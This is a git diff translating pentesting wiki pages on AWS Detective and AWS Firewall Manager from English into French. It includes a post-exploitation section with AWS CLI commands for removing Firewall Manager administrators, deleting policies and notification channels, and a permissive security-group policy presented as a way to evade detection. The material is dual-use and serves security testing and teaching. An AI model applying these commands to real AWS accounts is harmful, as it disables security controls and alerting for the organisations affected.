+**Amazon Detective** rationalise le processus d'enquête en matière de sécurité, le rendant plus efficace pour **analyser, enquêter et identifier la cause profonde** des problèmes de sécurité ou des activités inhabituelles. Il automatise la collecte des données de journalisation à partir des ressources AWS et utilise **l'apprentissage automatique, l'analyse statistique et la théorie des graphes** pour construire un ensemble de données interconnecté. Cette configuration améliore considérablement la rapidité et l'efficacité des enquêtes de sécurité.
 
-The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause.
+Le service facilite l'exploration approfondie des incidents de sécurité, permettant aux équipes de sécurité de comprendre rapidement et de traiter les causes sous-jacentes des problèmes. Amazon Detective analyse d'énormes quantités de données provenant de sources telles que les journaux de flux VPC, AWS CloudTrail et Amazon GuardDuty. Il génère automatiquement une **vue interactive et complète des ressources, des utilisateurs et de leurs interactions au fil du temps**. Cette perspective intégrée fournit tous les détails et le contexte nécessaires en un seul endroit, permettant aux équipes de discerner les raisons derrière les constatations de sécurité, d'examiner les activités historiques pertinentes et de déterminer rapidement la cause profonde.
 
 ## References
 
@@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security
 - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
index 0369f075c..8146c4acb 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md
@@ -4,80 +4,79 @@
 
 ## Firewall Manager
 
-**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones.
+**AWS Firewall Manager** simplifie la gestion et la maintenance de **AWS WAF, AWS Shield Advanced, groupes de sécurité Amazon VPC et listes de contrôle d'accès réseau (ACL), ainsi que AWS Network Firewall, AWS Route 53 Resolver DNS Firewall et pare-feu tiers** à travers plusieurs comptes et ressources. Il vous permet de configurer vos règles de pare-feu, protections Shield Advanced, groupes de sécurité VPC et paramètres de Network Firewall une seule fois, le service **appliquant automatiquement ces règles et protections à vos comptes et ressources**, y compris celles nouvellement ajoutées.
 
-The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account.
+Le service offre la capacité de **grouper et protéger des ressources spécifiques ensemble**, comme celles partageant une étiquette commune ou toutes vos distributions CloudFront. Un avantage significatif de Firewall Manager est sa capacité à **étendre automatiquement la protection aux ressources nouvellement ajoutées** dans votre compte.
 
-A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers.
+Un **groupe de règles** (une collection de règles WAF) peut être incorporé dans une politique AWS Firewall Manager, qui est ensuite liée à des ressources AWS spécifiques telles que des distributions CloudFront ou des équilibreurs de charge d'application.
 
-AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists:
+AWS Firewall Manager fournit des **listes d'applications et de protocoles gérées** pour simplifier la configuration et la gestion des politiques de groupe de sécurité. Ces listes vous permettent de définir les protocoles et applications autorisés ou refusés par vos politiques. Il existe deux types de listes gérées :
 
-- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version.
-- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required.
+- **Listes gérées par Firewall Manager** : Ces listes incluent **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** et **FMS-Default-Protocols-Allowed**. Elles sont gérées par Firewall Manager et incluent des applications et protocoles couramment utilisés qui devraient être autorisés ou refusés au grand public. Il n'est pas possible de les modifier ou de les supprimer, cependant, vous pouvez choisir sa version.
+- **Listes gérées personnalisées** : Vous gérez ces listes vous-même. Vous pouvez créer des listes d'applications et de protocoles personnalisées adaptées aux besoins de votre organisation. Contrairement aux listes gérées par Firewall Manager, ces listes n'ont pas de versions, mais vous avez un contrôle total sur les listes personnalisées, vous permettant de les créer, modifier et supprimer selon vos besoins.
 
-It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option.
+Il est important de noter que **les politiques de Firewall Manager n'autorisent que les actions "Block" ou "Count"** pour un groupe de règles, sans option "Allow".
 
-### Prerequisites
+### Prérequis
 
-The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment:
+Les étapes préalables suivantes doivent être complétées avant de procéder à la configuration de Firewall Manager pour commencer à protéger efficacement les ressources de votre organisation. Ces étapes fournissent la configuration de base requise pour que Firewall Manager applique des politiques de sécurité et assure la conformité dans votre environnement AWS :
 
-1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization.
-2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts.
-3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management.
-4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors.
-5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security.
-6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates.
+1. **Rejoindre et configurer AWS Organizations :** Assurez-vous que votre compte AWS fait partie de l'organisation AWS Organizations où les politiques AWS Firewall Manager sont prévues pour être implantées. Cela permet une gestion centralisée des ressources et des politiques à travers plusieurs comptes AWS au sein de l'organisation.
+2. **Créer un compte administrateur par défaut AWS Firewall Manager :** Établissez un compte administrateur par défaut spécifiquement pour gérer les politiques de sécurité de Firewall Manager. Ce compte sera responsable de la configuration et de l'application des politiques de sécurité à travers l'organisation. Seul le compte de gestion de l'organisation peut créer des comptes administrateurs par défaut pour Firewall Manager.
+3. **Activer AWS Config :** Activez AWS Config pour fournir à Firewall Manager les données de configuration et les informations nécessaires pour appliquer efficacement les politiques de sécurité. AWS Config aide à analyser, auditer, surveiller et contrôler les configurations et changements de ressources, facilitant ainsi une meilleure gestion de la sécurité.
+4. **Pour les politiques tierces, abonnez-vous dans le AWS Marketplace et configurez les paramètres tiers :** Si vous prévoyez d'utiliser des politiques de pare-feu tierces, abonnez-vous à celles-ci dans le AWS Marketplace et configurez les paramètres nécessaires. Cette étape garantit que Firewall Manager peut intégrer et appliquer des politiques de fournisseurs tiers de confiance.
+5. **Pour les politiques de Network Firewall et DNS Firewall, activez le partage de ressources :** Activez le partage de ressources spécifiquement pour les politiques de Network Firewall et DNS Firewall. Cela permet à Firewall Manager d'appliquer des protections de pare-feu à vos VPC et à la résolution DNS de votre organisation, renforçant ainsi la sécurité du réseau.
+6. **Pour utiliser AWS Firewall Manager dans des régions désactivées par défaut :** Si vous avez l'intention d'utiliser Firewall Manager dans des régions AWS désactivées par défaut, assurez-vous de prendre les mesures nécessaires pour activer sa fonctionnalité dans ces régions. Cela garantit une application cohérente de la sécurité dans toutes les régions où votre organisation opère.
 
-For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
+Pour plus d'informations, consultez : [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
 
-### Types of protection policies
+### Types de politiques de protection
 
-AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure:
+AWS Firewall Manager gère plusieurs types de politiques pour appliquer des contrôles de sécurité à différents aspects de l'infrastructure de votre organisation :
 
-1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets.
-2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats.
-3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access.
-4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment.
-5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules.
-6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic.
-7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment.
-   1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls.
-   2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures.
+1. **Politique AWS WAF :** Ce type de politique prend en charge à la fois AWS WAF et AWS WAF Classic. Vous pouvez définir quelles ressources sont protégées par la politique. Pour les politiques AWS WAF, vous pouvez spécifier des ensembles de groupes de règles à exécuter en premier et en dernier dans le web ACL. De plus, les propriétaires de compte peuvent ajouter des règles et des groupes de règles à exécuter entre ces ensembles.
+2. **Politique Shield Advanced :** Cette politique applique des protections Shield Advanced à travers votre organisation pour des types de ressources spécifiés. Elle aide à protéger contre les attaques DDoS et autres menaces.
+3. **Politique de groupe de sécurité Amazon VPC :** Avec cette politique, vous pouvez gérer les groupes de sécurité utilisés dans toute votre organisation, appliquant un ensemble de règles de base à travers votre environnement AWS pour contrôler l'accès au réseau.
+4. **Politique de liste de contrôle d'accès réseau (ACL) Amazon VPC :** Ce type de politique vous donne le contrôle sur les ACL réseau utilisés dans votre organisation, vous permettant d'appliquer un ensemble de base d'ACL réseau à travers votre environnement AWS.
+5. **Politique de Network Firewall :** Cette politique applique la protection AWS Network Firewall à vos VPC, renforçant la sécurité du réseau en filtrant le trafic en fonction de règles prédéfinies.
+6. **Politique de DNS Firewall Amazon Route 53 Resolver :** Cette politique applique des protections DNS Firewall à vos VPC, aidant à bloquer les tentatives de résolution de domaine malveillantes et à appliquer des politiques de sécurité pour le trafic DNS.
+7. **Politique de pare-feu tiers :** Ce type de politique applique des protections provenant de pare-feu tiers, qui sont disponibles par abonnement via la console AWS Marketplace. Elle vous permet d'intégrer des mesures de sécurité supplémentaires de fournisseurs de confiance dans votre environnement AWS.
+1. **Politique Palo Alto Networks Cloud NGFW :** Cette politique applique des protections et des ensembles de règles du pare-feu de nouvelle génération (NGFW) Palo Alto Networks à vos VPC, fournissant une prévention avancée des menaces et des contrôles de sécurité au niveau des applications.
+2. **Politique Fortigate Cloud Native Firewall (CNF) as a Service :** Cette politique applique des protections Fortigate Cloud Native Firewall (CNF) as a Service, offrant une prévention des menaces de premier plan, un pare-feu d'application web (WAF) et une protection API adaptés aux infrastructures cloud.
 
-### Administrator accounts
+### Comptes administrateurs
 
-AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts.
+AWS Firewall Manager offre de la flexibilité dans la gestion des ressources de pare-feu au sein de votre organisation grâce à son champ d'application administratif et à deux types de comptes administrateurs.
 
-**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include:
+**Le champ d'application administratif définit les ressources qu'un administrateur de Firewall Manager peut gérer**. Après qu'un compte de gestion AWS Organizations ait intégré une organisation à Firewall Manager, il peut créer des administrateurs supplémentaires avec différents champs d'application administratifs. Ces champs peuvent inclure :
 
-- Accounts or organizational units (OUs) that the administrator can apply policies to.
-- Regions where the administrator can perform actions.
-- Firewall Manager policy types that the administrator can manage.
+- Comptes ou unités organisationnelles (OU) auxquels l'administrateur peut appliquer des politiques.
+- Régions où l'administrateur peut effectuer des actions.
+- Types de politiques de Firewall Manager que l'administrateur peut gérer.
 
-Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege.
+Le champ d'application administratif peut être soit **complet soit restreint**. Le champ complet accorde à l'administrateur l'accès à **tous les types de ressources spécifiés, régions et types de politiques**. En revanche, **le champ restreint fournit une permission administrative uniquement à un sous-ensemble de ressources, régions ou types de politiques**. Il est conseillé d'accorder aux administrateurs uniquement les permissions dont ils ont besoin pour remplir efficacement leurs rôles. Vous pouvez appliquer n'importe quelle combinaison de ces conditions de champ d'application administratif à un administrateur, garantissant le respect du principe du moindre privilège.
 
-There are two distinct types of administrator accounts, each serving specific roles and responsibilities:
+Il existe deux types distincts de comptes administrateurs, chacun ayant des rôles et responsabilités spécifiques :
 
-- **Default Administrator:**
-  - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager.
-  - This account has the capability to manage third-party firewalls and possesses full administrative scope.
-  - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization.
-  - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization.
-- **Firewall Manager Administrators:**
-  - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration.
-  - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards.
-  - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager.
+- **Administrateur par défaut :**
+- Le compte administrateur par défaut est créé par le compte de gestion de l'organisation AWS Organizations lors du processus d'intégration à Firewall Manager.
+- Ce compte a la capacité de gérer des pare-feu tiers et possède un champ d'application administratif complet.
+- Il sert de compte administrateur principal pour Firewall Manager, responsable de la configuration et de l'application des politiques de sécurité à travers l'organisation.
+- Bien que l'administrateur par défaut ait un accès complet à tous les types de ressources et fonctionnalités administratives, il opère au même niveau de pair que d'autres administrateurs si plusieurs administrateurs sont utilisés au sein de l'organisation.
+- **Administrateurs de Firewall Manager :**
+- Ces administrateurs peuvent gérer des ressources dans le champ défini par le compte de gestion AWS Organizations, tel que défini par la configuration du champ d'application administratif.
+- Les administrateurs de Firewall Manager sont créés pour remplir des rôles spécifiques au sein de l'organisation, permettant la délégation de responsabilités tout en maintenant des normes de sécurité et de conformité.
+- Lors de leur création, Firewall Manager vérifie auprès d'AWS Organizations pour déterminer si le compte est déjà un administrateur délégué. Si ce n'est pas le cas, Firewall Manager appelle Organizations pour désigner le compte comme un administrateur délégué pour Firewall Manager.
 
-Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources.
+La gestion de ces comptes administrateurs implique de les créer au sein de Firewall Manager et de définir leurs champs d'application administratifs selon les exigences de sécurité de l'organisation et le principe du moindre privilège. En assignant des rôles administratifs appropriés, les organisations peuvent garantir une gestion efficace de la sécurité tout en maintenant un contrôle granulaire sur l'accès aux ressources sensibles.
 
-It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed:
+Il est important de souligner que **un seul compte au sein d'une organisation peut servir d'administrateur par défaut de Firewall Manager**, respectant le principe de "**premier arrivé, dernier sorti**". Pour désigner un nouvel administrateur par défaut, une série d'étapes doit être suivie :
 
-- First, each Firewall Administrator administrator account must revoke their own account.
-- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account.
-- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator.
+- Tout d'abord, chaque compte administrateur de Firewall doit révoquer son propre compte.
+- Ensuite, l'administrateur par défaut existant peut révoquer son propre compte, effectuant ainsi le départ de l'organisation de Firewall Manager. Ce processus entraîne la suppression de toutes les politiques de Firewall Manager créées par le compte révoqué.
+- Pour conclure, le compte de gestion AWS Organizations doit désigner l'administrateur par défaut de Firewall Manager.
 
 ## Enumeration
-
 ```
 # Users/Administrators
 
@@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall <PALO
 ## Get violations' details for a resource based on the specified AWS Firewall Manager policy and AWS account.
 aws fms get-violation-details --policy-id <value> --member-account <value> --resource-id <value> --resource-type <value>
 ```
-
 ## Post Exploitation / Bypass Detection
 
 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
 
-An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association.
-
-- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account.
-- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**.
-- The creation of a Firewall Manager administrator account can only be done by the organization's management account.
+Un attaquant avec la permission **`fms:AssociateAdminAccount`** serait capable de définir le compte administrateur par défaut du Firewall Manager. Avec la permission **`fms:PutAdminAccount`**, un attaquant pourrait créer ou mettre à jour un compte administrateur du Firewall Manager et avec la permission **`fms:DisassociateAdminAccount`**, un attaquant potentiel pourrait supprimer l'association du compte administrateur actuel du Firewall Manager.
 
+- La désassociation de **l'administrateur par défaut du Firewall Manager suit la politique du premier entré, dernier sorti**. Tous les administrateurs du Firewall Manager doivent se désassocier avant que l'administrateur par défaut du Firewall Manager puisse désassocier le compte.
+- Pour créer un administrateur du Firewall Manager par **PutAdminAccount**, le compte doit appartenir à l'organisation qui a été précédemment intégrée au Firewall Manager en utilisant **AssociateAdminAccount**.
+- La création d'un compte administrateur du Firewall Manager ne peut être effectuée que par le compte de gestion de l'organisation.
 ```bash
 aws fms associate-admin-account --admin-account <value>
 aws fms disassociate-admin-account
 aws fms put-admin-account --admin-account <value>
 ```
-
-**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment.
+**Impact potentiel :** Perte de gestion centralisée, évasion de politique, violations de conformité et perturbation des contrôles de sécurité au sein de l'environnement.
 
 ### `fms:PutPolicy`, `fms:DeletePolicy`
 
-An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy.
-
+Un attaquant disposant des autorisations **`fms:PutPolicy`**, **`fms:DeletePolicy`** serait en mesure de créer, modifier ou supprimer définitivement une politique AWS Firewall Manager.
 ```bash
 aws fms put-policy --policy <value> | --cli-input-json file://<policy.json> [--tag-list <value>]
 aws fms delete-policy --policy-id <value> [--delete-all-policy-resources | --no-delete-all-policy-resources]
 ```
-
-An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one:
-
+Un exemple de politique permissive à travers un groupe de sécurité permissif, afin de contourner la détection, pourrait être le suivant :
 ```json
 {
-  "Policy": {
-    "PolicyName": "permisive_policy",
-    "SecurityServicePolicyData": {
-      "Type": "SECURITY_GROUPS_COMMON",
-      "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
-    },
-    "ResourceTypeList": [
-      "AWS::EC2::Instance",
-      "AWS::EC2::NetworkInterface",
-      "AWS::EC2::SecurityGroup",
-      "AWS::ElasticLoadBalancingV2::LoadBalancer",
-      "AWS::ElasticLoadBalancing::LoadBalancer"
-    ],
-    "ResourceType": "AWS::EC2::SecurityGroup",
-    "ExcludeResourceTags": false,
-    "ResourceTags": [],
-    "RemediationEnabled": true
-  },
-  "TagList": []
+"Policy": {
+"PolicyName": "permisive_policy",
+"SecurityServicePolicyData": {
+"Type": "SECURITY_GROUPS_COMMON",
+"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"<permisive_security_group_id>\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}"
+},
+"ResourceTypeList": [
+"AWS::EC2::Instance",
+"AWS::EC2::NetworkInterface",
+"AWS::EC2::SecurityGroup",
+"AWS::ElasticLoadBalancingV2::LoadBalancer",
+"AWS::ElasticLoadBalancing::LoadBalancer"
+],
+"ResourceType": "AWS::EC2::SecurityGroup",
+"ExcludeResourceTags": false,
+"ResourceTags": [],
+"RemediationEnabled": true
+},
+"TagList": []
 }
 ```
-
-**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment.
+**Impact potentiel :** Démantèlement des contrôles de sécurité, évasion des politiques, violations de conformité, perturbations opérationnelles et violations potentielles de données au sein de l'environnement.
 
 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
 
-An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager.
-
+Un attaquant disposant des autorisations **`fms:BatchAssociateResource`** et **`fms:BatchDisassociateResource`** serait en mesure d'associer ou de dissocier des ressources d'un ensemble de ressources de Firewall Manager respectivement. De plus, les autorisations **`fms:PutResourceSet`** et **`fms:DeleteResourceSet`** permettraient à un attaquant de créer, modifier ou supprimer ces ensembles de ressources depuis AWS Firewall Manager.
 ```bash
 # Associate/Disassociate resources from a resource set
 aws fms batch-associate-resource --resource-set-identifier <value> --items <value>
@@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier <value> --items <v
 aws fms put-resource-set --resource-set <value> [--tag-list <value>]
 aws fms delete-resource-set --identifier <value>
 ```
-
-**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment.
+**Impact potentiel :** L'ajout d'un nombre inutile d'éléments à un ensemble de ressources augmentera le niveau de bruit dans le Service, pouvant potentiellement causer un DoS. De plus, des modifications des ensembles de ressources pourraient entraîner une interruption de ressource, une évasion de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement.
 
 ### `fms:PutAppsList`, `fms:DeleteAppsList`
 
-An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS.
-
+Un attaquant disposant des autorisations **`fms:PutAppsList`** et **`fms:DeleteAppsList`** serait en mesure de créer, modifier ou supprimer des listes d'applications depuis AWS Firewall Manager. Cela pourrait être critique, car des applications non autorisées pourraient se voir accorder un accès au grand public, ou l'accès à des applications autorisées pourrait être refusé, causant un DoS.
 ```bash
 aws fms put-apps-list --apps-list <value> [--tag-list <value>]
 aws fms delete-apps-list --list-id <value>
 ```
-
-**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
+**Impact potentiel :** Cela pourrait entraîner des erreurs de configuration, des contournements de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement.
 
 ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
 
-An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS.
-
+Un attaquant disposant des autorisations **`fms:PutProtocolsList`** et **`fms:DeleteProtocolsList`** serait en mesure de créer, modifier ou supprimer des listes de protocoles depuis AWS Firewall Manager. De la même manière que pour les listes d'applications, cela pourrait être critique puisque des protocoles non autorisés pourraient être utilisés par le grand public, ou l'utilisation de protocoles autorisés pourrait être refusée, entraînant un DoS.
 ```bash
 aws fms put-protocols-list --apps-list <value> [--tag-list <value>]
 aws fms delete-protocols-list --list-id <value>
 ```
-
-**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment.
+**Impact potentiel :** Cela pourrait entraîner des erreurs de configuration, une évasion de politique, des violations de conformité et une perturbation des contrôles de sécurité au sein de l'environnement.
 
 ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel`
 
-An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs.
+Un attaquant disposant des autorisations **`fms:PutNotificationChannel`** et **`fms:DeleteNotificationChannel`** serait en mesure de supprimer et de désigner le rôle IAM et le sujet Amazon Simple Notification Service (SNS) que Firewall Manager utilise pour enregistrer les journaux SNS.
 
-To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role.
+Pour utiliser **`fms:PutNotificationChannel`** en dehors de la console, vous devez configurer la politique d'accès du sujet SNS, permettant au **SnsRoleName** spécifié de publier des journaux SNS. Si le **SnsRoleName** fourni est un rôle autre que le **`AWSServiceRoleForFMS`**, il nécessite une relation de confiance configurée pour permettre au principal de service Firewall Manager **fms.amazonaws.com** d'assumer ce rôle.
 
-For information about configuring an SNS access policy:
+Pour des informations sur la configuration d'une politique d'accès SNS :
 
 {{#ref}}
 ../aws-sns-enum.md
 {{#endref}}
-
 ```bash
 aws fms put-notification-channel --sns-topic-arn <value> --sns-role-name <value>
 aws fms delete-notification-channel
 ```
-
-**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment.
+**Impact potentiel :** Cela pourrait potentiellement entraîner des alertes de sécurité manquées, un retard dans la réponse aux incidents, des violations de données potentielles et des perturbations opérationnelles au sein de l'environnement.
 
 ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall`
 
-An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager.
+Un attaquant avec les permissions **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** serait capable d'associer ou de dissocier des pare-feu tiers pour être gérés de manière centralisée via AWS Firewall Manager.
 
 > [!WARNING]
-> Only the default administrator can create and manage third-party firewalls.
-
+> Seul l'administrateur par défaut peut créer et gérer des pare-feu tiers.
 ```bash
 aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
 aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
 ```
-
-**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation.
